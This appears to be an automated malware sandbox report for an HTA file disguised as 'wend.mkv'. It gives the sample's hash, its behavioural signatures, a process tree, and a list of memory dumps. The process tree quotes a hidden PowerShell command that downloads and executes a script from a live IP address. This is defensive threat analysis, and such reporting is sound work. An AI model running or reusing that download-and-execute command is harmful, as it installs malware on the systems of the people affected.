Analysis
- max time kernel
100s - max time network
105s - platform
windows11-21h2_x64 - resource
win11-20250610-en - resource tags
- submitted
10/09/2025, 17:33
General
- Target wend.mkv.hta
- Size 324B
- Sample250910-v5b3ksynw2
- SHA256 dc741d4bbde8bd12093efd37aac1d9aeb09242ebbfc745b2f44db2a47f3bca21
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\openwith.exe"C:\Windows\system32\openwith.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\wend.mkv.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -w h -c "iex (irm http://202.71.14.75/10sp.ps1)"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\precomposition.exe"C:\Users\Admin\AppData\Local\Temp\precomposition.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_1pdea4nu.nk1.ps1
precomposition.exe
memory/1548-37-0x00000000078A0000-0x00000000078B1000-memory.dmp
memory/1548-39-0x0000000008030000-0x0000000008045000-memory.dmp
memory/1548-4-0x00000000051C0000-0x0000000005226000-memory.dmp
memory/1548-5-0x0000000005890000-0x00000000058F6000-memory.dmp
memory/1548-2-0x0000000005260000-0x000000000588A000-memory.dmp
memory/1548-14-0x00000000059F0000-0x0000000005D47000-memory.dmp
memory/1548-15-0x0000000005EC0000-0x0000000005EDE000-memory.dmp
memory/1548-16-0x0000000005F10000-0x0000000005F5C000-memory.dmp
memory/1548-17-0x0000000007900000-0x0000000007F7A000-memory.dmp
memory/1548-18-0x00000000063F0000-0x000000000640A000-memory.dmp
memory/1548-19-0x00000000076D0000-0x0000000007892000-memory.dmp
memory/1548-20-0x000000007F6B0000-0x000000007F6C0000-memory.dmp
memory/1548-21-0x00000000075F0000-0x0000000007624000-memory.dmp
memory/1548-22-0x00000000743C0000-0x000000007440C000-memory.dmp
memory/1548-24-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/1548-23-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/1548-33-0x0000000007650000-0x000000000766E000-memory.dmp
memory/1548-38-0x00000000078E0000-0x00000000078EE000-memory.dmp
memory/1548-35-0x00000000076C0000-0x00000000076CA000-memory.dmp
memory/1548-36-0x0000000008120000-0x00000000081B6000-memory.dmp
memory/1548-3-0x0000000005120000-0x0000000005142000-memory.dmp
memory/1548-0-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/1548-34-0x0000000007F80000-0x0000000008024000-memory.dmp
memory/1548-40-0x0000000008080000-0x000000000809A000-memory.dmp
memory/1548-41-0x0000000008060000-0x0000000008068000-memory.dmp
memory/1548-42-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/1548-43-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/1548-44-0x000000007F6B0000-0x000000007F6C0000-memory.dmp
memory/1548-46-0x00000000080C0000-0x00000000080E2000-memory.dmp
memory/1548-47-0x0000000008770000-0x0000000008D16000-memory.dmp
memory/1548-1-0x00000000026B0000-0x00000000026E6000-memory.dmp
memory/1548-56-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/1548-55-0x0000000002C10000-0x0000000002C20000-memory.dmp
memory/4344-66-0x00000298E66B0000-0x00000298E66BA000-memory.dmp
memory/4344-68-0x00000298E81F0000-0x00000298E85F0000-memory.dmp
memory/4344-69-0x00007FFFF36E0000-0x00007FFFF38E9000-memory.dmp
memory/4344-70-0x00007FFFF3090000-0x00007FFFF314D000-memory.dmp
memory/4344-71-0x00007FFFF0EE0000-0x00007FFFF1254000-memory.dmp
memory/4904-61-0x0000019C6ACA0000-0x0000019C6B0A0000-memory.dmp
memory/4904-62-0x0000019C6ACA0000-0x0000019C6B0A0000-memory.dmp
memory/4904-63-0x00007FFFF36E0000-0x00007FFFF38E9000-memory.dmp
memory/4904-64-0x00007FFFF3090000-0x00007FFFF314D000-memory.dmp
memory/4904-65-0x00007FFFF0EE0000-0x00007FFFF1254000-memory.dmp